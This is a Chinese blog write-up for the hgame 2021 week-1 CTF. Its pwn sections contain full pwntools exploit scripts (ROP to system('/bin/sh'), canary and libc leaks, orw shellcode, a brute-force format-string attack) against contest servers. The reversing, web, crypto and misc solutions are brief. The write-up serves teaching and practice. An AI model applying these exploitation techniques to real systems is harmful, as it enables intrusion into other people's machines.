Loading... 许久没有更新博客了,主要是因为最近都在打 `hgame`,客观来讲题挺难的,别的方向的题没做过,就真的是都不会。这篇博客是 week1 中我解出来的题目的 wp 的合集。bin 的题是都解出来了,别的方向大概也就做了做签到,应该说是真的不会,最后的总分是真的不怎么好看,pwn手心里苦啊。 ## pwn #### whitegive 签到题 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2090082406.png "></div> <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3099474339.png "></div> 地址是 0x402012=4202514,所以nc上去输入就可以 get shell 了。 #### SteinsGate2 这道题目看起来很难,但实际上比后两道都要简单,主要难点在代码审计上。 1月30日晚拿到题目,发现有个叫 source.zip 的压缩包,心想果然是新手赛,源码都给,然后发现 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3089131650.png "></div> 要密码???难道是藏在题目里了?这么高级。遂打开 IDA ,发现留了不少编译信息,但是好像看不懂程序在干什么,于是打开虚拟机 先跑跑看 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/1273312078.png "></div> 不知道是什么鬼,遇事不决先 checksec 吧 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2139110982.png "></div> 保护全开,这个时候其实心态开始崩了,遂去做别的方向的题,发现毛都不会,又继续玩了许久这个程序,还去看了看命运石之门是什么东西(日本的游戏大概也就玩过南梦宫的皇牌空战什么的了),发现也没什么帮助。到11点的时候已经有点想去世了,搞了一个学期的 pwn 竟然只会签到,而别的方向的大佬已经千分了。最后实在没忍住,问了一下小语师傅(%语神)题目怎么做 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/4057709745.png "></div> 于是附件更新了,没有密码了。既然有源码,考虑 `-g` 编译一下,动调起来也幸福快乐一点 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/1886216232.png "></div> 看到了一个亮眼的格式化字符串漏洞(虽然最后没用上,难道我的解法是非预期解?)。那就看看怎么样可以利用这个漏洞吧,代码在 `world.h` 中 ```cpp #define PUTDMAIL() \ do \ { \ SCRIPT_PRINT(11 - from_dm); \ if (save.know_truth && cur_divergence > 1) \ printf(dmail_buf); \ else \ SCRIPT_NEXT(); \ } while (0) ``` 是这样的一个宏,在主循环中调用 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3577921902.png "></div> 也就是说,只要我们让 `save.know_truth && cur_divergence > 1` 成立就可以利用这个 `fmt` 了,当时我也不知道 `save.know_truth` 是什么鬼,所以就先考虑了使 `cur_divergence` 大于1的方法(浪费了我大量时间:()。 先来看看 `cur_divergence` 这个变量在整个工程的地位 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3605398744.png "></div> 发现实际上只有一个函数修改了这个变量 ```cpp void divergence_update() { float field = floorf(divergence); cur_divergence = divergence; cur_divergence *= (save.ent_flag + 0x233); cur_divergence -= floorf(cur_divergence) - field; } ``` 而 `divergence` 是在这个函数里生成的 ```cpp void divergence_init() { srand(0); while (1) { int rd = rand() & 0x7fffffff; if (rd < 0x10000) divergence = 1.0; else divergence = 0.0; float di = (float)(rd * 100 + 0x233 & 0x7fffffff) / 1000000; di -= floorf(di); divergence += di; if (divergence > 1e-6) break; } divergence_update(); } ``` 这里的 `srand(0)` 非常的引人注目,题目也贴心的给出了 libc(大概是因为用 `LibcSearcher` 搜不出来的缘故吧),所以这个 `divergence` 的值是可确定的,而通过控制变量 `save.ent_flag` 就可以控制 `cur_divergence` 了,如何控制这个变量? <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/4119160246.png "></div> 四个事件都可以控制,前三个都很好触发,就是 `event_ibn5100` 这个触发不了,看一看源码 ```cpp if (cur_divergence > 1.0 || !save.know_truth) scene->branchid = 7; else if (choice == 1 && save.days > 2) scene->branchid = 6; else if (choice == 1 && save.days == 1) { scene->branchid = 2; save.ibn5100 = 1; save.ent_flag |= EVENT_IBN5100; SCRIPT_NEXT(); char msg[80]; scanf("%s", msg); } ``` 发现竟然有 `scanf("%s", msg);` ,可以栈溢出。这个时候就要仔细考虑要fmt还是rop了。于是考虑写个脚本跑一下,看看各种`save.ent_flag`的取值对 `cur_divergence` 的影响,结果发现 `cur_divergence` 好像也确实是不会大于1的,遂弃fmt转向rop。要执行这个scanf,需要在第一天选去神社找ibn5100,而且还要使 `save.know_truth` 不为0,这个变量初始值为0,所以我们需要考虑一下如何使它为非零,看一看它在工程中出现在了那些地方 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/1186765046.png "></div> 只在一处 Set 了该变量,看一下这里的代码,发现 ```cpp void world_main() { int from_dm; while (1) { switch (save.current_scene) { case BRANCH: save.know_truth = divergence_detect(); save.current_scene = DAYS; break; ``` branch 的值是2,也就是第二个场景,第二个场景问了我们当前的世界线变动率是多少,也就是 `divergence_detect()` 函数干的事,这个函数是这样的 ```cpp int divergence_detect() { float div; SCRIPT_NEXT(); scanf("%f", &div); if (fabsf(div - cur_divergence) < 1e-6) return 1; else return 0; } ``` 那么我们只要在最开始时输入一个和 `cur_divergence` 足够接近的的数就可以使 `save.know_truth` 为1了。之前也说了,`cur_divergence` 由 `divergence` 和 `save.ent_flag` 生成,后者此时为0,前者是我们可以知道的,所以写个脚本跑一下,得知 `cur_divergence` 为 `0.898834229` ,所以输入该数就可以实现栈溢出了。 光能栈溢出是不够的,还需要leak一些信息,程序中也有。 ```cpp char cmd[0x100]; my_read(cmd, 0x100); SCRIPT_PRINT(cmd); SCRIPT_NEXT(); save.sern = 1; save.ent_flag |= EVENT_HACKING; ``` 这是 `event_hacking()` 中的部分代码,这里没有对cmd数组进行初始化,所以很有可能可以leak出栈上残留的信息,获得 `canary` 和 `libc` 基地址 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/152702112.png "></div> 这两处可以 leak 。所以题目就可以做了 #### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * #context(log_level = 'debug') libc = ELF("./libc.so.6") def banana(): sh.sendlineafter('5100\n','1') sh.sendlineafter('?\n','pwn') def hack(payload): sh.sendlineafter('5100\n','2') sh.sendlineafter('choice: ','2') sh.sendlineafter('choice: ','1') sh.sendlineafter(')\n',payload) def IBN(payload,choice): sh.sendlineafter('5100\n','3') sh.sendlineafter('choice: ',str(choice)) sh.sendlineafter("了\n",payload) sh = remote("182.92.108.71",30009) #sh = process("./sga") sh.sendlineafter('choice: ','1') #password = 0.8339385986 password = 0.898834229 sh.sendlineafter('?\n',str(password)) IBN('pwn',1)#1 banana()#2 hack('a' * 23 + 'b')#3 sh.recvuntil('ab') libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols["__isoc99_scanf"] - 178 log.success('libc base:' + hex(libc_base)) one_gadget = libc_base + 0xe6c81 log.success('one_gadget:' + hex(one_gadget)) system_addr = libc_base + libc.symbols["system"] log.success('system:' + hex(system_addr)) bin_sh_addr = libc_base + libc.search("/bin/sh").next() log.success('/bin/sh:' + hex(bin_sh_addr)) pop_rdi_somereg_ret = libc_base + 0x276e9 log.success('pop_rdi_ret:' + hex(pop_rdi_ret)) exit_addr = libc_base + libc.symbols["exit"] #__isoc99_scanf_addr = u64(sh.recv(6).ljust(8,'\x00')) #libcs = LibcSearcher("__isoc99_scanf",__isoc99_scanf_addr) #libc_base = __isoc99_scanf_addr - libcs.dump("__isoc99_scanf") #system_addr = libc_base + libc.dump("system") #bin_sh_addr = libc_base + libc.dump("str_bin_sh") #pop_rdi_ret = libc_base + 0x26b72 for i in range(4,11): banana() sh.sendlineafter("挣扎\n",'1') sh.sendlineafter("choice: ",'1') sh.sendlineafter("\n","pwn") sh.sendlineafter("choice: ",'1')#1 sh.sendlineafter("了\n",'pwn') banana()#2 hack('a' * 56 + 'b')#3 sh.recvuntil('ab') canary = u64(sh.recv(7).rjust(8,'\x00')) log.success('canary:' + hex(canary)) for i in range(4,11): banana() sh.sendlineafter("挣扎\n",'1') sh.sendlineafter("choice: ",'1') sh.sendlineafter("\n","pwn") sh.sendlineafter("choice: ",'1') payload = 'a' * 0x58 + p64(canary) payload += p64(0x7fffffff0000) payload += p64(pop_rdi_somereg_ret) + p64(bin_sh_addr) + p64(0) + p64(system_addr) #payload += p64(one_gadget) sh.sendafter("了\n",payload + ' ') sh.interactive() ``` 这里 `rop` 的时候如果用 `one_gadget` 或者直接 `pop_rdi_ret` 会返回 `segment fault` 的错误,当时我做到这里的时候一看已经零点多了,就去睡觉了,第二天早上起来才想起来是一些 libc 在执行 `system` 时 `rsp` 需要与0x10对齐(可以参考[这篇博客](http://blog.eonew.cn/archives/958)),所以需要调整栈地址,这里我用的是 `pop_rdi_一个我不记得是什么的寄存器_ret` 的 gadget ,就成功 getshell 了。可惜的是一血被一位校外的师傅在凌晨4点夺走了,只拿到了二血。这道题的出题人非常有诚意,写了一个比较复杂的程序(说复杂也是相对我这种菜鸡来说的),各种提示也是恰到好处,遗憾的是没想到刚开始就搜危险函数,还是浪费了不少时间,没有取得一血。 ### letter orw(open-read-write)模板题 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/902296697.png "></div> 很明显,输入一个 `-1` 就可以绕过对长度的限制了 当然这题没那么简单 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2634066450.png"></div> 这里用 `seccomp` 系列函数禁用了除了 `read` `write` `open` `exit` `setuid` 之外的所以系统调用,一般的做法是`open("./flag")->read(3,addr,len)->write(1,addr,len)`。曾经我也有考虑过通过重新调用 `seccomp_init` 放开所有系统调用 getshell ,但是仔细想想 `seccomp_init` 本身也要使用系统调用来禁用或允许系统调用,所有这种做法是不可行的。还是退而求其次拿个 flag 就算了。 先 checksec 一下 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/1243255541.png "></div> 不出所料几乎没有保护,这种题有时会给一个 `jmp rsp` 的 `gadget` ,那就可以考虑栈上布置 shellcode (此题没给),不过 PIE 没开,不需要用,可以栈迁移到 .bss,由于内存分页机制的存在,这里必然大小有至少为0x1000的可读可写可执行的空间,足够我们布置 shellcode 和储存 flag 。栈迁移我是朴素的通过 `ret2leave` 实现的。 #### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug',os = 'linux',arch = 'amd64') pop_rsp_r13_r14_r15_ret = 0x400a9d bss_base = 0x601000 sh = remote("182.92.108.71",31305) sh.sendlineafter("send?\n",'-1') payload = 'a' * 0x10 + p64(bss_base + 0x200) + p64(0x40096A) sh.send(payload) sh.sendlineafter("send?\n",'-1') payload = p64(0x601F00) * 3 payload += p64(bss_base + 0x210) payload += asm(shellcraft.open('./flag')) payload += asm(shellcraft.read(3,bss_base + 0x300,0x60)) payload += asm(shellcraft.write(1,bss_base + 0x300,0x60)) sh.send(payload) sh.interactive() ``` 关于这里 `payload = 'a' * 0x10 + p64(bss_base + 0x200) + p64(0x40096A)` 一句中使用 `bss_base + 0x200` 做为迁移的地址的原因是为了给之后的 orw 提供栈空间。 ### once 这道题我感觉好像是最难的,到现在我也不知道预期解是怎么样的。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/539217276.png "></div> 程序逻辑和漏洞很简单,既有栈溢出又有格式化字符串,保护的话仅有canary没开。考虑到printf是在read后调用的,所以在我们输入第一次payload的时候是没用任何已知地址的,当然自然我们可以想到利用PIE的低12位不变性,写返回地址的低8位来控制返回地址,但是发现好像没有可以返回的地址,因此我就没有思路了。退而求其次,我选择爆破三字节,写死低16位,并用 `'\n'` 截断,这样我们要爆破12位,需要基地址最低3字节为 0x0a0000。概率千分之一吧,尚可接受(现在我知道我蠢了,原来read是不会在字符串尾补 `'\x00'` 的,所以写一个字节就可以了,不需要爆破)。做法就很粗暴了,格式化字符串泄露 `libc` 和程序基地址,然后就是简单的 rop 了 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * import os context(log_level = 'debug') libc = ELF("./libc-2.27.so") #payload = '%' + str(0xD2) + 'c' + "%11$hhn-" + "%13$p-%11$p-" flag = 0 while flag < 1000: try: log.success("try #" + str(flag)) #sh = process("./once") sh = remote("182.92.108.71",30107) payload = "%13$p-%17$p-%10$p-".ljust(0x28,'a') + '\x70\x10' #prog_base = 0x555555554000 #payload = "%13$p-%17$p-%10$p-".ljust(0x28,'a') + p64(prog_base + 0x1070) sh.sendafter('turn: ',payload) #sh.recvuntil('-') libc_start_main = int(sh.recvuntil('-',drop = True),base = 16) - 231 libc_base = libc_start_main - libc.symbols["__libc_start_main"] one_gadget = libc_base + 0x4F3D5 log.success("one_gadget:" + hex(one_gadget)) log.success("libc_base:" + hex(libc_base)) system_addr = libc_base + libc.symbols["system"] log.success("system_addr:" + hex(system_addr)) sh_addr = libc_base + libc.search("/bin/sh").next() log.success("bin_sh_addr:" + hex(sh_addr)) prog_base = int(sh.recvuntil('-',drop = True),base = 16) - 0x1169 log.success("prog_base:" + hex(prog_base)) #if((prog_base & 0xFFFFFF) == 0x0a0000): stack_addr = int(sh.recvuntil('-',drop = True),base = 16) stack_addr -= 0x10 + 0x28 pop_rdi_ret = prog_base + 0x1283 pop_rdi_rbp_ret = libc_base + 0x22203 leave_addr = prog_base + 0x1213 payload = p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr) #payload = p64(pop_rdi_rbp_ret) + p64(sh_addr) + p64(stack_addr - 0x20) + p64(system_addr) payload = payload.ljust(0x20,'a') payload += p64(stack_addr) #payload += p64(leave_addr) payload += p64(one_gadget) sh.sendlineafter('turn: ',payload) flag = 100000 filea = open("win",'w') sleep(0.1) sh.sendline("cat flag") #filea.write(sh.recvuntil('}')) filea.close() sh.interactive() sh.close() except: flag += 1 sh.close() ``` 可能会发现我还 leak 了栈地址,原因是 `one_gadget`的成功率往往低于直接使用`system`,而我是爆破,失败了会很亏,所以我就考虑通过 `ret2leave` 栈迁移然后 `rop` 一下,结果发现调整 `rsp`出现了`sigbus` 的错误(实话说第一次见到这个错误),有没有试不调整的时候能不能getshell不记得了,反正当时想着都算出来了,就上 `one_gadget` 得了,结果就真的 getshell 了。 爆破的代价很大 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/1413765715.png "></div> 导致我的 wsl 出现了申请了大量空间却不返还的问题,由于没有分区,造成了我C盘爆红。 ## REVERSE ### apacha apacha 好像是 jojo 的一个梗,指尿,和题目应该无关。但是茶仍然是提示,对应英文 `tea`,也就是 `Tiny Encryption Algorithm` 加密算法简写,`0x61C88647` 和 `0x9E3779B9` 两个值也都暗示了是用这个算法加密的。但是实际上知道这个与否应该也没什么区别,这个好像也不是标准 `TEA`,没有现成的解密脚本,还是得自己手写。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/386636097.png "></div> 只要做这个的逆过程就可以了 简单的写个程序逆一下 ```cpp #include<iostream> #include<cstdio> #include<cstring> int key[4] = {1,2,3,4}; unsigned int encrypted[36] = { 0xE74EB323, 0xB7A72836, 0x59CA6FE2, 0x967CC5C1, 0xE7802674, 0x3D2D54E6, 0x8A9D0356, 0x99DCC39C, 0x7026D8ED, 0x6A33FDAD, 0xF496550A, 0x5C9C6F9E, 0x1BE5D04C, 0x6723AE17, 0x5270A5C2, 0xAC42130A, 0x84BE67B2, 0x705CC779, 0x5C513D98, 0xFB36DA2D, 0x22179645, 0x5CE3529D, 0xD189E1FB, 0xE85BD489, 0x73C8D11F, 0x54B5C196, 0xB67CB490, 0x2117E4CA, 0x9DE3F994, 0x2F5AA1AA, 0xA7E801FD, 0xC30D6EAB, 0x1BADDC9C, 0x3453B04A, 0x92A406F9 }; char flag[36]; unsigned int decrypt_part(unsigned int pre,unsigned int next,unsigned int delta,int index); int main() { unsigned int delta = 0x5384540F; for(int stage = 7;stage > 0;stage--) { printf("delta:%x\n",delta); for(int i = 34;i >= 0;i--) { unsigned int pre = encrypted[(i == 0 ? 34 : i - 1)]; unsigned int next = encrypted[(i == 34 ? 0 : i + 1)]; encrypted[i] -= decrypt_part(pre,next,delta,i); } delta += 0x61C88647; } for(int i = 0;i < 35;i++) { flag[i] = encrypted[i]; } puts(flag); } unsigned int decrypt_part(unsigned int pre,unsigned int next,unsigned int delta,int index) { return (((pre >> 5) ^ (4 * next)) + ((16 * pre) ^ (next >> 3))) ^ ((key[(((char) index) ^ ((char) (delta >> 2))) & 3] ^ pre) + (next ^ delta)); } ``` 关于密文的 dump :IDA 可以很容易的导出 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3465700210.png "></div> <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2884910075.png "></div> 但是一定要**仔细检测有没有选全**啊!我就因为少选了一个字节的数据导致密文出错,让我对着屏幕发了一小时的呆,幸亏有想到密文错了的可能,不然可能就做不成这题了。 flag:`hgame{l00ks_1ike_y0u_f0Und_th3_t34}` ### helloRe <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2955232656.png "></div> 简单的异或加密 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3445125578.png "></div> 这里的数据从 0xFF 开始每一个减一异或下去就可以拿 flag 了 flag是`hgame{hello_re_player}` ### pypy 附件是一些没见过的奇怪代码,联系题目名,猜想可能是 python 的反汇编码,一查原来是 `dis` 模块生成的,那么就现学一个新的汇编语法 简单的复原了一下,大概是这样 ```python import dis def enc(): raw_flag = input("give me your flag:\n") chiper = list(raw_flag[6:-1]) length = len(chiper) for i in range(int(length / 2)): chiper[2 * i + 1] , chiper[2 * i] = chiper[2 * i] , chiper[2 * i + 1] res = [] for i in range(length): res.append(ord(chiper[i]) ^ i) #print res res = bytes(res).hex() print('your flag:' + res) dis.dis(enc) enc() ``` `res = bytes(res).hex()` 这一句我用dis生成的和源文件不尽相似,但是问题不大,加密方法已经很明显了 ```python res = input() res = list(bytearray.fromhex(res)) length = len(res) raw_flag = [] for i in range(length): raw_flag.append(chr(res[i] ^ i)) for i in range(int(length / 2)): raw_flag[2 * i + 1] , raw_flag[2 * i] = raw_flag[2 * i] , raw_flag[2 * i + 1] print(''.join(raw_flag)) ``` 这样就可以解密出 flag 了。 # 先道个歉 上面的二进制题我还算会做,都是老老实实正常解的,之后的题目是真的一窍不通,有些题目解的可能非常耍赖皮,对不住各位出题人了 ## web ### watermelon 题目好像打不开了,截不上图,当时的做法是把每个下落的水果都改成了小葡萄,在那里点了许久就到两千了。 ### 智商检测鸡 这道题估计是要写脚本吧,不过我的解法是计算器一个个算过去,20分钟左右骗得100分,效率高于做pwn ## Crypto 大体上不会,唯一做出的还是骗到的 ### Transformer 有提供许多源文件和加密文件,猜测是用简单的加密算法加密的,我通过[quipqiup.com](http://quipqiup.com/)这个网站爆破出了 flag <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/205161054.png "></div> flag:`hgame{ea5y_f0r_fun^3nd&he11o_2021}` 好像有点耍赖皮啊 ## MISC ### Base base64 解码,发现编码都是在 base32 范围内的,再 base32 解码,同样的再用 base16 解码,得 flag:`hgame{We1c0me_t0_HG4M3_2021}` ### 不起眼压缩包的养成的方法 拿到一张图,看题估计是图种,发现的确是,解压第一步需要图片的id,很好办,搜一下就可以了 id 是 70415155。然后解压出一个 `NO PASSWORD.txt`,又发现 `plain.zip` 中也有这个文件,考虑明文攻击,获得 `flag.zip` 然后我卡了许久,才发现 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/389335304.png "></div> 原来直接就是flag。 最后修改:2021 年 03 月 10 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
5 条评论
师傅,我想问一下letter那里,为什么第一次发payload的时候,要把ebp改成bss+0x200啊。发现师傅你的思路很强欸,这里我一直想不明白
师傅,我想明白了。。。
之前一直没看到实在不好意思,想明白了就好